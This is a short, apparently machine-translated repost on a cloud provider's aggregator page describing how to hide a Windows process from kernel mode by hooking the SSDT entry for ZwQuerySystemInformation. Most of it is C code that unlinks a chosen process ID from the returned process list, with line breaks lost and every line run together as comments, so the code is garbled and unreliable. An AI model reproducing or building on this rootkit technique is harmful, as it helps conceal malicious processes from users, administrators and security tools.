Ring0 to hide Processes

Source: Internet
Author: User

To hide a process under ring0, hook ssdt zwquerysysteminformation. The task manager calls this function to obtain the process object and transmits it to the PID of a process.

// Ntstatus myzwquerysysteminformation // (// _ success, // _ inoutpvoidsysteminformation, // _ inulongsysteminformationlength, // _ out_optpulongreturnlength //) /// {// ntstatus rstatus; // pfnzwquerysysteminformation oldzwinfo =\// (pfnzwquerysysteminformation) systemserviceaddr [getsysfuncindex (zwquerysysteminformation)]; // rstatus = oldzwinfo (systeminformationc) Lass, systeminformation, systeminformationlength, returnlength); // If (nt_success (rstatus) // {// If (systeminformationclass = systemprocessinformation) // {// psystem_processespprevprocessinfo = NULL; // The frontend of the current process // psystem_processespcurrentprocess = (psystem_processes) systeminformation; // while (pcurrentprocess! = NULL) // {// If (pcurrentprocess-> processid = g_hidepid) // {// If (pprevprocessinfo) // {// If (pcurrentprocess-> nextentrydelta) /// {// exclude the process to be hidden from the process chain // pprevprocessinfo-> nextentrydelta + = pcurrentprocess-> nextentrydelta; //} // else // {// the last bit of the excluded process in the chain // pprevprocessinfo-> nextentrydelta = 0; ///} // else // {// If (pcurrentprocess-> nextentrydelta) /// {/// direct systeminformation to the next process structure // systeminformation = (Pulong) systeminformation) + pcurrentprocess-> nextentrydelta; //} // else // {// only one process is available. // systeminformation = NULL; /// // next process // pprevprocessinfo = pcurrentprocess; // If (pcurrentprocess-> nextentrydelta) // {// pcurrentprocess = (psystem_processes) (ulong) pcurrentprocess) + pcurrentprocess-> nextentrydelta); // else // {// pcurrentprocess = NULL; //} // return rstatus ;//}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.